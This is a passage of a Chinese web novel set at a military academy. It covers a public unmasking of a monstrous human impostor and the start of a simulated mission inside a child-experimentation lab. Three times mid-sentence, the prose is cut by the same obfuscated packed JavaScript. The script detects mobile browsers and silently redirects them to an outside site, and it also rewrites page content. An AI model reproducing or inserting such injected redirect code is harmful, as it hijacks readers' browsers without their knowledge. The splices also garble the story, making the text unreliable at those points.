两位男性一个在楼梯之上,一个在楼梯之下,遥遥相望。 “……会长,你不记得我了吗?”男生声音柔弱了许多,一双眸子可怜地垂着。 “很抱歉,我不可能记得每一个人的名字。” 男生的眼角涌出几颗泪珠,挂在睫毛间摇摇欲坠,他轻轻举起那只书签,嘴唇隐隐颤抖,宛如呓语般:“是她吗……” 比浓缩精油还要浓郁的香水味让梅瑟眉头一皱。 他好像记起来了。 这是那天在课后向自己借用笔记的男同学,当时自己婉拒了他的要求。 长腿轻轻迈下楼梯,与男生面对面相立,他扫了一眼:“如果你喜欢它,那么就送给你了。” 男生眼睛微微一亮,一只手妄图去触碰他的衣角,却被会长轻飘飘地侧身避开,他听见他说: “请自重,同学。” 青年只留下一小片的风,背影宛若阳光下虚妄的泡沫。 男生的脸庞落下两行泪痕,哀怨的目光仿佛要将他穿透。 她到底哪里好?她到底哪里好!嫉妒之心在胸腔中燃烧,他露出了一道悲戚却又鲜艳的笑容。 他不会放手。 他只能属于他。 私生子与私生子,我们岂不是绝配? 19. 拟合体 克里斯训练日。 今天是新生们入学来第一个正式集训日,位置在一号训练场。 夏日炎炎,烈阳当空。 嬴欢躺在跑道边缘的草坪上,一脸死气沉沉。 她后悔选了两个学院,后悔死了。 昨天整理完课上的知识点已经是半夜两点,这还是在借来了会长的随堂笔记的情况下。 青年的一笔一划力透纸背,大有矫若游龙之势,然而再赏心悦目的笔迹也抵不过知识点的枯燥。 她差不多花了一晚上的时间完成了犬院上半学期的学习任务,今晚开始接着学下半学期。 有一说一,她并不是什么惊世之才,而是自己的潜意识里似乎已经学过一遍这些知识点了。 每个知识点就像积木拼图似的进入她的脑海,一点一点拼接成了知识大厦。 学习并不是嬴欢的强项,仅仅一个晚上就搞得她身心俱疲,幽灵般游走在死亡的边缘,能见到今天的太阳已经是万幸中的万幸。 而且这还不仅仅是身体上的劳累,精神上也受了不小的打击──她的那位神秘室友,每天半夜两点钟准时血淋淋地出现在客厅沙发边上。 习惯半夜起来喝水的嬴欢这下子可真是倒血霉了,只能硬着头皮在“血人”面前打开冰箱、拿水、回房、锁门,一气呵成。 两人已经形成了某种说不清的默契,谁也不搭理谁,把彼此当成空气对待。 嬴欢不知道“血人”是怎么想的,反正她现在的精神状态岌岌可危,几番想换个宿舍算了。 奈何每天早上都会看到“血人”准备的早餐,她一遍一遍地扔,“血人”一遍一遍地送……搞得她都不好意思去校园官网更换室友了。 就这么互不干扰也挺好的,至少不用担心如何打理人际关系,嬴欢只能这样自己安慰自己。 【一号训练场已开启,请各位学员保持适当间距,避免造成拥堵。】广播声在空中回响。 嬴欢慢悠悠地站起身,打着哈欠来到集合点,点击自己的运动手表,查看今日日程。 【今日课程:实战模拟训练。】 毕竟是军事学校,四大院的学员都逃不了这一关,在这一点上真正实现了什么叫做“人人平等”。 训练课由各院院长的带领下统一进行,每个学院的学员达标及格线也是相同的,没有谁比谁特殊。 今天坐镇的院长是Dr.X。 一个蓝色虚影坐在看台中央,声音偏冷,目光里透着一丝空洞:“雪莱先生,请宣布相关事宜。” 青年回答,“是。” 高挑优雅的身影立于千人之上,透亮的眸子宛若冬日暖阳,众人不禁昂首。 “各位学员你们好,我是梅瑟·雪莱——” “会长大人!是会长大人!” “哇,好高好帅啊──” “原来你们信息院吃这么好!?啊啊啊上天再给我一次机会!” 别人都在拼命犯花痴,而嬴欢却在打瞌睡,脑袋一点一点的,像极了时钟里的报时鸟。 “别睡了,某人可在看着你呢。”声音从身后响起,半睡半醒中的嬴欢打了个激灵,猛地回过头去。 一头张扬的红发闯入眼帘,嬴欢心下一叹,怎么又是这家伙。 她板正身子,睡眼惺忪地望向主席台,果然像他所说,雪莱会长正在看着他们的方向,很快便移开了眼神。 嬴欢撇开眼眸,在周围打量了一圈,询问身边的邬涟,“怎么不见邬蘅?” 话音未落,自己的脖子上蓦然一沉,身上多了个耀眼的绿发姑娘。 “嘿,在找我吗!” 邬蘅笑起来时眼睛弯弯的,像后花园里只在傍晚盛开的月见草,身上的气场虽收敛了一些,但仍然势不可挡。 她们鼻尖相贴,嬴欢被那对锋利的瞳孔晃到了眼睛,忍不住往后缩了缩。 “姐姐是害羞了么?”邬蘅的手指轻轻蹭过眼前人的脸颊,秾丽的眸紧紧盯着她脖子上的血管。 “你,你先下来──”勒到她脖子了。 “叫我阿蘅好不好。”女孩儿置若罔闻,声线带着几分道不明的黏腻。 嬴欢感觉太阳穴又开启突突跳的模式,她深吸一口气,语气放松道:“乖一点儿,阿蘅。” 说完,脑海忽然恍惚了一下,总觉得自己也曾对别人说过无数次相同的话。 邬蘅将脑袋缓缓靠在姐姐的肩上,秀气的眉尖往下一垂,缓缓地说: “你的声音可真好听啊——” 这家伙……别光说不做啊!嬴欢试着把她强行拎起来,可就像身上黏了一只狗皮膏药,任她怎么扒拉都无动于衷。 一旁的少年看着自己名义上的姐姐和亲生的妹妹关系如此复杂,眉头都快拧成一股绳了,他压着嗓子警告道: “我说大庭广众的,你们能不能注意一点儿形象?” “你心里不爽的话可以去死。”他的妹妹用最高傲的表情说出了最恶毒的话。 “你!”邬涟气得头发都快翘起来了。 两个女孩儿齐齐对着他做了个鬼脸。 ** 同一时刻,主席台上。 “由于原教官因伤休假,接下来的日子将由我来担任本学期的代理教官,烦请各位多多指教。” 全场哗然,有支持者也有质疑者。 “这学生会是又开始扩增版图了?” “嘁——代理教官。下一步是不是要当代理院长了?” “可是梅瑟学长看起来就很温柔啊!啊啊啊好喜欢!” “呸,狗屁的温柔!全是他妈的是假象!” “温柔?有的人赶快醒醒吧,你以为他雪莱是靠什么当上会长的?”几个家世雄厚的学员们彼此看了看,笑着摇摇头,这帮蠢家伙还真是天真得有些可爱。 “千万别信狄兰城里每一个姓雪莱的家伙,谁知道背地里都做了这什么腌臜勾当——” “谁不知道他母亲是个狐媚子,全靠着皮囊上位,最后不择手段地做掉了家主与原配夫人。哼,论恶毒还得是女人啊!” “哈哈哈,那贱女人的‘事迹’说三天三夜都说不完,她生出来的儿子又能是什么好东西,同样的货色罢了!” 讨论声变得越来越放肆,从一开始的窃窃私语到最后竟然演变成了人身攻击、恶意诽谤。 有甚者开始肆无忌惮地造黄谣,各种下三滥的话语像豆子似的往外蹦,绝大部分人都像没事人似的默认了他们的行为,谁也没觉得不对。 嬴欢摸了摸耳垂,眉头紧锁。 看来有些人对学生会是真的颇有怨言,不知道的还以为台上是什么穷凶极恶的罪人呢。 就在嬴欢快忍不住对谩骂者爆粗口时,一只近乎透明的手出现在所有人面前。 它无比精准地将最先引导舆论的男人从人群中拎了出来,那人被无形的手拽至半空中,双眼瞪得老大,全身都在用力挣扎。 邬涟一眼就发现了台上之人隐隐发光的手心,呢喃道:“果然还是忍不住了吗?” 嬴欢听到这句话时,不由得紧紧盯向身旁的少年,观察得这么仔细,看来他真的超“爱”。 “这位先生,在公众场合大声喧哗可不是什么好习惯。” 浅色的睫毛染上一层光辉,青年的神色依旧保持冷静,那些话语全部被他置之脑后,仿佛真的只是在惩罚一个不听话孩子。 他微微屈起手指,那男人的脸顿时憋得通红,嘴唇即将趋近于紫色,费力地汲取着空气。 他是真的会下狠手,而且不留一丝情面。 恍然意识到这一点后,在场所有学生没一个再敢胡乱说话,连呼吸声都变得微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592748|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可闻。 人们恨他的同时也畏惧他手中的权力。 不过……偶尔也有例外。 嬴欢的所有余光都落在身旁的红毛身上,她猜他一定不会放过每一次挖苦会长大人的机会,这时候不正是他的主场环节? 果不其然,少年悠哉地抱着双臂,红发被风微微吹扬起来,扯着嗓音向主席台大喊: “雪莱会长,难道你就是这样对待普通学生的吗?” 这句话宛若乍雨惊雷,给沉闷的气氛撕开了一道口子。 被梅瑟拎出来的那位学生衣着普通、气场羸弱,看上去应该是来自一个小家族的旁支,在这贵族遍地的克里斯可不就是个普通学生? 然而,偏偏就是这种“普通学生”占比总人数的将近一大半,他们才是真正的“沉默的大多数”,只不过习惯了被遗忘、忽视。 有时候只需要一句无关痛痒的话,就能引发某类人心底的共鸣,人们会为了这句话冲锋陷阵、拼死维护,就像一只上了发条的机器。 例如眼下,许多人的心声被邬涟这句话道了出来,那是他们从不敢说出来的,他的话就像一根点燃的引线,轻易地引爆了火药。 他们齐齐用愤恨的目光注视着主席台,胆子大一些的直接附和道: “难道会长就可以随意伤人了吗!” “对啊!这般视人命如草荠,到底还有没有天理了!” “放开他!” 一半人怒不可遏,一半人翘首看戏。 嬴欢站在人群里环望,气氛逐渐激昂,如果再这么任由其发展下去,这颗舆论炸弹迟早会波及到每一个人。 突然,她有意识地看向台侧那位泰然处之的男人。 由数据代码构成的身体泛着荧蓝色的冷光,他目不转睛地望着人群,仿佛是在观察着什么。 他为什么能够做到这般无动于衷? 嬴欢心存疑惑,再看向半空中几乎快要昏厥过去的人,他正在被台上的那位执权者活活扼杀。 眼前的一切都如同末日般荒诞无比。 在这座庞大、美丽的校园里,上演着阶级与阶级间的碰撞、上层与下层的私斗、一文不值的生命、习惯漠视的人类……还有更多。 所有的一切都凝聚成无形的刀刃,给嬴欢理想中的生活剖开了一道口子。 “疯子。”邬蘅的声音忽然变得低沉。 嬴欢侧过眸,方才还牵着她手的邬蘅拨开人群,一直走到众人的最前方。 “邬蘅!”她的哥哥发出一声怒喝。 “你要杀了他吗?”女孩儿面色严肃,一只手指向空中摇摇欲坠的人。 被质问的人沉默不语,冷漠地看着她。 “我在和你说话,你看不见吗!”邬蘅指了指自己的心口,眸中萦绕着复杂的情绪。 你看不见吗? 是真的看不见吗?还是故意忽视呢? 一句话不知搅动了多少人的心,仇恶的心、悲悯的心、漠然的心…… 梅瑟静静地望着她,一秒、两秒。 “我看见了,那么你们呢?”他的回答更是让人毛骨悚然。 青年缓慢地举起左手,那人随着他的动作在空中摆动,“一个愚昧、轻浮、腹诽心谤之人,是否真的可以回报你们的怜悯与愤懑?” 人们还在思考他的话语,突然之间,被扼住颈部的人像融化的蜡烛,全身的皮肤一齐脱落,惊呼声此起彼伏,大家纷纷让开一片空地。 “人皮”坠落在地面上,所有人瞠目而视,嗓子里发不出一点儿声音。 空中只剩下一个血淋淋的肉身,根本看不出人的模样,只有面部剩下两个洞能辨认得出是一对眼睛,以及下方猛然露出的一张长满獠牙的血盆大口。 “第三只了。”沉默已久的虚影忽然开口,顺手拨通了报警电活。 20. 拟合体(二) 人群内爆发了一阵可怕的恐慌。 “那……那是什么东西?” “绝不是人类。” “是虫族?不,根本不像!” 他们甚至无法确定它究竟是不是智慧生命。 邬蘅被这一幕紧紧控制住心神,缓缓走近地砖上那一滩“人皮”,甚至想要伸手触碰,被费力从人群里挤出来的哥哥及时抓住。 “别碰!学校会处理它的。” “请大家保持整齐的队列,不要随意走动。”梅瑟的声音恢复了往常的温和,他将手里的“血人”随意扔在人群中央的空地,恰好砸在那滩“人皮”上。 嬴欢顺着“血人”被抛下来的方向仰头望去,台上的青年依旧优雅、和谐。 她真的很想知道梅瑟是怎么从众多学生里精确地辨认出这个“异类”的,肉眼?特殊标识?还是只是巧合? 梅瑟眼睫微垂,毫不理会来自少女的注视。 他知道自己已经在嬴欢心中种下了一颗名为“怀疑”的种子,这颗种子或许会一天天长大,横亘在他们二人之间。 到那时,一切都无可挽回了吧?青年在心底自嘲几句,很快又恢复了冷静的模样。 ** “各位无需惊慌,只不过是‘拟合体’罢了,当做蟑螂一样消灭就好。”Dr.X终于再次发话了。 拟合体…… 嬴欢观察着周围人的表情,一个个面露疑惑,似乎没人知道这是什么东西。 嬴欢把空间里的尤拉戳醒,询问关于拟合体的相关信息。 尤拉正做梦呢,不小心瞥了眼地上那坨东西也是惊了,这什么东西这么恶心! 嬴欢也惊了,这个世界上还有它不知道的物种? “拟合体”其实有种更大众的说法——“伪人”。 它们往往具备相较独立的思考能力,会不断学习和模仿人类的一切。 它们也通常具备人的外表,以达到“伪装人类”的目的。譬如现在,它差点儿就引发了一场抗议。 尤拉对这种“伪人”产生了一些兴趣。 它在系统空间戳了戳嬴欢,让她固定好视角:【站在那里别动,我来扫描一下!】 这种东西出现的时间不久,大概一年前在其他星球上报了第一例,之后又在其他地点发现了不少。 “拟合体”的出现原因未知,狄兰当局暂未将其为认定为“生命”,但仍将威胁程度上调至了二级。 如果想要从深网中搜索相关的帖子,只有在犄角旮旯里才能找到一些有用的信息,比如关于拟合体的地下研究等。 尤拉在深网里对“拟合体”进行了深度搜索,然而也没搜出个名堂出来,顿时对它的兴趣又翻了个番。 “好了没,我都快看吐了。” 嬴欢几乎快把这一幕印在脑子里了,如果下次再失个忆什么的,它准保能存留在她的大脑里成为“幸存者”。 【罢了,现在有关拟合体的信息实在太少,你最好还是离它远一点儿。】尤拉说完这些,产生了一种淡淡的忧虑。 “新”意味着“无知”,而无知的东西往往又是最危险的。 少女轻轻“嗯”了一声,她四处望了望,最终走向自己的妹妹身边。 “你还好吗?” 邬蘅在沉浸在不可名状的荒诞感中,她轻轻抱住少女,心口的石头突然放了下来。 嬴欢用手抚摸她的脑袋,轻声安慰:“刚才的你很勇敢,阿蘅——”她学着邬明仪的语气,也不知道有没有效果。 能够以质疑之声直面代表着“权威”的梅瑟,已经是偌大的勇气。 邬蘅摇了摇头,示意自己没事。 警署的人在接到报警后很快便抵达克里斯,当着众人的面将“拟合体”打包带走。 “大家不用担心,我们暂时还未发现有‘拟合体’伤人的案例。”警署人员的话并未扫去人们心中的阴霾,甚至显得有些单薄,更让人加深了恐惧的情绪。 他们用类似裹尸袋的东西把“拟合体”拖走,空地变得空荡荡的,什么都没剩下。 气氛变得寂静无比,一切仿佛从未发生过。 ** 训练场地里人头攒动,一个个却好似失了声的哑巴,而梅瑟竟然还能若无其事地拿出手帕擦了擦手指。 “好了,各位同学——让我们忘掉这段小插曲,该干些正事了。”梅瑟的眼睛轻轻扫过台下的人群,声音无比柔和。 今天的课程已经延误了近十五分钟,再拖下去可就是严重教学失误了。 教堂的钟声响起,空灵而悠长。 台上的会长与Dr.X交换眼神,后者点了点头,青年即刻开始下达指令: “今天的实战课程将临时改为实战考核,现在请各位自行组队完成任务,请大家切记,该成绩将计入档案。” 一块巨大的虚拟屏幕出现在所有人眼前,上面显现出一行歪歪扭扭的字体: 【考核内容:随机C级世界,任务类型:实战模拟。】 【任务开始倒计时,五分钟。】 这个突如其来的消息瞬间将之前那些乱七八糟的情绪全都冲刷干净。 “什么?这、这太突然了!不是上课吗?怎么改成考核了!” “不是吧,前两天不是刚过完入学考核吗!” “你们难道忘了?那个考核只进行了一半就被某人炸了!” 某人:……所以怪我喽? 慌乱的人群就像刚烧开的水,冒着滚烫的蒸汽,乱成一团。 她的手心突然被两只温度不同的手紧紧扣住,她望着一脸严肃的两兄妹,想当独狼的心瞬间死了。 “知道你不喜欢肢体接触,但只有牵手才能组队成功。” 邬蘅借着规则肆意地捏了捏少女的手掌。 “可别松手啊,姐姐。” 是邬涟的声音,可那明明不像是他会说出来的话,嬴欢疑惑地拧了拧眉,恰好撞入少年饱含恶劣的眼神。 眉头拧成一团绳,强行忍住想要甩开两人的冲动。 冷静,他们是家人啊──一定要忍住!嬴欢告诫自己。 然而少女没注意到的是,那些本来想前来和自己组队的人都被兄妹俩用眼神严厉逼退。 等她回过神来时,只见到两张笑意盈盈的脸。 面前的电子屏幕不断闪动,【正在为您随机挑选世界中──C-012,推荐人数:一人及以上。】 【C-012?!好好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603785|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——这是你的主场呀!】尤拉激动得都快要破音了。 C-012?是世界的编号吗?嬴欢没有一丁点儿关于这个世界的印象。 【我想想,简单来说就是──等等,这怎么能简单说啊?!】尤拉抓耳挠腮地思考着措辞。 【C-012是你之前完成过的任务,资料影像被Dr.X拷贝拟合成了一个新世界,被用作实战模拟考核。】 实际上,克里斯的考核大部分都是拷贝了肃清者们完成过的任务──在原世界观的基础上删删改改,调整至合适的难度,然后就成了每一届学生们的试金石。 少女脑筋直转,眼睛一亮:“哦,所以说……” 【等一下!完了完了完了!Dr.X好像察觉到我了!为了你的身份安全,我先溜了哈,祝你好运!】尤拉察觉到一股饱含威压的目光,顿时寒毛直竖,当即便断开了连接。 别──走──啊! 嬴欢瞠目结舌地在心底大喊,然而无用。 【五、四、三、二、一……】 【五分钟倒计时结束,准备进入模拟世界。】电子声发出警告。 嬴欢的两只手被紧紧抓着,毫无选择的权力,她的心脏怦怦直跳,仿佛马上要跳出嗓子眼。 脚下的地面开始变幻,全部覆盖为石青色的矩阵,整座训练场变成了一个大型的隔离皿,把众人囊括于其中。 白光闪过,传送矩阵正式开启。 就在传送的瞬间,一个黑影纵身跃入矩阵,抢在最后半秒钟被传送离开。 梅瑟眼神一凛,那不是克里斯的学生。 然而,矩阵在一眨眼间就已经关闭,丝毫不给他们留任何时间。 Dr.X拍了拍身上不存在的灰尘,站起身来,不急不忙地说道: “竟然能躲过安保系统?真是有趣。” 浅蓝色的虚影闭上双眼,在海量数据中进行大面积搜罗。 不到一微秒的时间内,虚影缓缓开口,“一小时前,危机管理局公开宣布反叛者霍尔出逃。” 梅瑟凝视着男人的虚影,面色冷淡:“为什么?” “怎么了,雪莱先生?” “您故意放他进入矩阵──”梅瑟一字一句道。 他清楚地知道,以Dr.X的能力绝对不会察觉不到霍尔的踪迹。 只有一种可能,Dr.X故意对此视若无睹。 “雪莱先生,别太心急。”Dr.X拍了拍他的肩膀,“你难道不好奇他的目的吗?” 梅瑟不言,哪怕Dr.X再不着调也是他的院长,他不想用最恶毒的心思去揣测他。 “他有可能会对学生们造成伤害──我必须要将情况上报厄斯女士。” 梅瑟选择退而求其次,他现在没有精力去论证Dr.X到底是故意还是无意,他们不能放任一个反叛者在模拟世界里肆意妄为。 Dr.X耸了耸肩视为默认,他挥出一张透明屏幕,上面清楚记录着霍尔的路径图。 最终,他发出了一声无情感的笑: “瞧,原来是奔着她去的。” Dr.X的话音让梅瑟不由得瞥去目光。 很快,青年的瞳孔微微紧缩,连呼吸都染上了几分错乱。 21. C-012(一) 实验室。 来自不同方位的呜咽声游荡在耳畔,这些声音虽然不大,奈何在寂静的空间里就会显得尤为吵闹。 偌大的实验室中央,数十位年幼的孩子被绑在原地,他们看上去也就十二三岁的模样,嘴上贴着透明胶带,双手用绳结牢牢锁住。 嬴欢脸色铁青地盯着地面,没想到她也是其中一员,不知道为什么,总觉得自己的视角变矮了许多。 她趁着这段空档期开始翻阅起世界资料。 【人物:嬴欢】 【年龄:13岁】 【身份:实验体001号】 【目标:捕捉反叛者】 短短四行概括了嬴欢一生的命运。 眼看从资料上无法得到信息,嬴欢只好把精力放在观察环境上。 空气中带着一股沉沉的死寂,冷白荧光灯照亮每个人的脸庞,乌青的双颊、发白的唇色、凌乱的衣物…… 各种大型仪器用透明管相互连接,机器运行的“嗡嗡”声成为背景音。 地板是钢制的,看上去无比干净,应该是有专人长期打扫。 嬴欢抬起头,天花板上方装置着两个摄像头,红光频频闪动,代表着正在运行。 实验体、实验室──看来这就是她的第一关。 如果一步走错,她极有可能死在这里。 嬴欢有意识地观察了一下人群,这里的孩子们看上去都是被迫来到这里的。 她仔细看了看自己的“邻居”,一女一男,十五六岁左右,算是这里比较大的孩子了。 两个人不哭不闹,显得很是安静。 女孩儿察觉到嬴欢的目光,缓缓与她对视。 因为说不了话,嬴欢只好就这么看着她。女孩儿的衣着很普通,柔软的发丝披在肩上,再往下看去,手背和手腕上都有明显的淤青和针孔。 嬴欢紧盯着那些针孔,不知道在想些什么。 女孩儿往暗处的角落里缩了缩,似乎在逃避她的注视。 嬴欢一愣,有些尴尬地收回目光,老老实实望天。 不知道他们还得在这里待多久。 半小时、一小时……直到一个晚上过去,仍然没有任何实验人员来到这里。 孩子们过了一个惊恐的夜晚。 有的在梦里仍然抽泣不已,有的死死不让自己入睡,他们望着太阳如何从地平线升起,直到泪水模糊了视线。 嬴欢和大部分孩子们一样,整晚都没有阖眼。疲乏感与饥饿感一并袭来,胃部隐隐抽痛。 好饿,好想啃人。 极度的精神崩溃之下,嬴欢用下巴撞了一下身边的女孩儿: “唔,唔唔,唔唔唔唔──” 女孩儿被她吓了一跳,缩着身子躲开。 “唔唔,唔。”嬴欢用眼神向她示意嘴巴上的胶布。 女孩儿略微停顿,似乎在努力理解她的意思。 嬴欢直接向她身后倒去,将嘴巴贴近小孩姐捆绑住的双手。 女孩儿犹豫了一下,猛然将那胶布撕了下来。 “嘶啦”一声,嘴唇终于重新接触到了空气,只不过嬴欢差点儿当场喷出血来,她敢保证自己嘴巴上的死皮肯定全消失了。 空气大口大口地涌入,连带着头脑都清醒了不少。 一转头,一群水灵灵的眼睛齐齐看着她。 “你们看着我干什么……”她只是获得了言语自由又不是行动自由。 女孩儿二话不说,也倒在了嬴欢的身后。 看在女孩儿帮过她的份上,嬴欢痛快地将她的胶带撕了下来。 “呸,呸。”她抿了抿唇,吐出嘴巴里残留的胶体。 更多的眼睛盯着她们。 嬴欢挪了挪屁股凑近了一些,她对着女孩儿说:“听着,我们得赶快从这里逃出去。” 接着又继续压低声音向她道,“我叫嬴欢,你呢?” “斐、一、然。”她声音里带着一丝不耐烦,黑色的眼睛在两个摄像头之间来回瞟着,似乎在忌惮些什么。 哔哔── 是感应门打开的声音。 一个白衣男人走了进来,他在一群人里扫了一圈,直到与角落的嬴欢四目相对。 老熟人啊,嬴欢微微眯着眼睛。 邬涟的眉眼一下子变得放松起来,红发依旧如火焰般耀眼,甚至穿上这身白大褂后显得沉稳了不少。 他举起手中的实验记录本,“001号。” 嬴欢缓缓站起身来。 “074号。” 旁边的男孩儿站了起来。 “跟着我走。”邬涟向两人招招手,率先走在了前面。 整座实验室自打男人进来的那一刻便如坠冰窟,孩子们个个恨不得躲进地缝里。 直到他喊完编号,拿着记录本款款离开,室内气氛才稍微缓和了一些。 看来孩子们都很惧怕邬涟,嬴欢来不及多想,跟着出了门。 “喂——你、你小心点儿!”斐一然的声音颤抖得不成样子,脸色渐渐趋于苍白。 嬴欢点点头,回了个“放心”的口型。 昏暗的走廊内,三人的脚步声像沉闷无序的鼓点。他们走了一段路,穿过两道气密门,最终来到了一个类似于手术室的地方。 “074,在这里等着。” “你,跟我来。”邬涟睨了一眼少女。 嬴欢临走前看了眼编号074,他低着头,不知道在想些什么。 手术室极为狭小,一张手术床,一个探照灯,还有一把破烂的铁板椅子。 手术室门关闭。 嬴欢被蓦然向前一推,整个人倒在绿色的手术台上。 一对灵巧的手将她的腕部绳结解开,接着少女的身体被整个翻了过来,男人的身影俯身压在她的眼前。 “原来你小时候长这幅模样?”邬涟勾起她耳边的一缕发丝,眼中多了些许兴味。 “少动手动脚的,别以为在模拟世界你就能肆无忌惮。” 嬴欢的目光尖锐而有力,哪怕是小一码的她仍然有着一把给他脑袋拧掉的实力。 她敢保证那场面会很血腥,他不会想见识到的。 “嘁……”一声低哼,邬涟慢悠悠地举起双手,识趣地往后退了两步。 “邬蘅呢?” 嬴欢拧了拧自己酸痛的手腕,她首先得确认队友的安全。 邬涟轻轻抚摸着手术工具,声音平淡:“她?她不用担心。” 说罢,信息终端闪了一下。 一张熟悉的面孔出现在眼前。 “姐姐,是在找我吗?” 自从上次被嬴欢言语打击了一下之后,邬蘅像变了一个人,声音变得轻飘飘的,话语之间也更加……难以描述。 “安心啦——我在楼上的实验室里。”她随意拨动着自己的荧绿卷发。 说到实验室,这两人怎么看也不像是实验体啊? 难不成只有她一个人是实验体?少女脸色不是很好看。 “你们的任务是什么?总不能就我一个做任务吧?” 邬涟调出身份卡给她看。 【人物:邬涟】 【年龄:21岁】 【身份:实验室高级管理员】 【目标:???】 邬蘅撑着下巴,“我的和他差不多。” 嬴欢看了看只有自己变小的身体,看来真的是要她一个人单打独斗了。 “所以,现在是什么流程──不会真要把我当实验体吧?”自从尤拉被Dr.X吓得当场休眠之后,她就和无头苍蝇没什么区别。 然而,还真让她猜对了。 这里是个专门负责研究与实验“特殊药物”的研究所,地处国与国之间的灰色地带。 根据背景资料显示,这座研究所隶属于一个名为“霍尔”的集团名下。邬涟是这里的负责人,主要负责药物研发与人体器官移植 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612917|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 说大白话就是噶人腰子换取金钱,顺便用剩下的部分做做实验。 邬涟走到置物台边,翻看近几个月的实验日志。 【10月1日,Ⅰ代药剂实验失败,两名实验体先后窒息死亡。】 【10月4日,Ⅱ代药剂实验失败,造成一名实验体精神崩溃。】 【10月6日,Ⅲ代药剂实验失败,一名实验体产生基因变异,两名实验体因承受能力不足,最终爆体而亡。】 【……】 【10月21日,Ⅶ代药剂研发完毕,预计将在10月30日进行人体实验。】 在最后一条日志的边缘上,用黑色圆珠笔记录着两个编号:001,074。 今天恰好就是10月30日。 “按照目前的剧情走向,我应该向你身体里注射最新一代的实验药剂。”邬涟摸着下巴说。 “邬老二,你确定这安全吗?”邬蘅直接出声制止。 “不试试怎么知道。”邬涟从冷冻箱中拿出一个包装完好的药剂,用注射器针头缓缓吸入。 试试就逝世。 嬴欢连忙叫停,伸出一只手将彼此的距离隔开,“等一下,让我先缓缓。” 如果按照现有的角色资料分析,这俩兄妹看着可不像是正面人物,自己作为他们的对立面肯定不能就这么顺从他们的行为,尤其是还在冒着生命危险的情况下! 这哪里是队友,这明明是对手! 她得逃出去! 邬涟正端着注射剂跃跃欲试,忽然,眼前的少女从床上跳了下来。 她的眉眼带着几分坚决。 “等等!”他开玩笑的啊!邬涟张了张嘴巴,然而还没等发出声音呢,腹部就被狠狠踢了一脚。 男人的整个身体撞在钢制墙壁上,不到一米六的女童动作利落地将他的双手反剪在背后。 “……” 邬蘅对着屏幕挠了挠下巴,这段应该录下来刻成影碟才对。 “可能会有点儿疼,配合一下。”嬴欢浅浅一笑。 说着,便以迅雷不及掩耳之势,猛地高举起自己的右手。 那对浅棕色的眼睛里充满了疑惑以及惊恐,甚至还想继续挣扎几下。 她的另一只手预见性地捂住他的嘴巴,一个手刀下去,高挑的身型便顿时软绵绵地倒塌在地。 “……我就不自找苦吃了。”邬蘅看到自家哥哥的惨状,直接挂断了加密通讯。 嬴欢一脚踢开手术室的大门,与门口发呆的074撞了个满怀。 074稳住身形,怔怔看着少女的眼睛,缓慢地瞪大双瞳,“你……” 竟然有人可以从这座人间炼狱里活着出来? 嬴欢没心思搭理他,而是循着之前的路往回走,顺便数了数这一路的监控摄像头。 很快就会有人发现这里的异常,时间紧迫,现在的主要目标是活着逃出去。 她在寂静的走廊中飞速奔跑,衣角飘扬,几滴冷汗从鼻尖滑落。 她现在有种强烈的预感,反叛者或许就在这座研究所里。但这场“狩猎”的过程远不会像表面上这么简单,肯定还有埋好的陷阱在等着她呢。 与虎谋皮,这也算是她的爱好之一。 实验室的大门被一脚踢开,发出一声刺耳的巨响。 少女犹若神祗般出现在孩子们的眼前,她一手扶着墙调整呼吸,眼神凛冽。 墙角坐立不安的女孩儿看见嬴欢的身影,眼睛蓦然一亮。 “你、你真的回来了!” “嗡嗡”、“嗡嗡”。 就在她尾音落下的一瞬间,整个研究所的警报系统通通响起,红光顿时充斥她们的视野。 不好!这是要玩完的节奏啊! “走!”嬴欢向着他们大喊,“朝着地下室跑!别停下!” 孩子们理解不了她的行为,但为了活命,还是选择顺从她的话,一个个拼命向着地下室跑去。 22. C-012(二) 红色灯光把整个实验室衬托成一座炼狱,嗡鸣声不断。 斐一然情急之下抓住她的衣角,“嬴欢,你不跟我们一起走吗?” 嬴欢扭头看她,神色不急不慢。 “你先带着他们去安全的地方,我得处理掉这里的监控。” “可是——”斐一然烦躁地抓了抓头发,几番思考措辞,最后也只是叹了叹气。 “我知道了。那,那你动作快点儿,这里有警卫机械,如果被他们盯上根本活不了的——” 嬴欢动作一顿,她似乎很熟悉这里的情况。 凝望着她焦急的眼眸,嬴欢没来得及多想,冲着她说:“我知道了。” 不知何时,074回到了实验室门口。 他站在已经倒塌的门前,旁观着二人的争吵,对头顶的警报声不闻不问。 嬴欢上下打量了他几眼。好啊,又是个不怕死的。 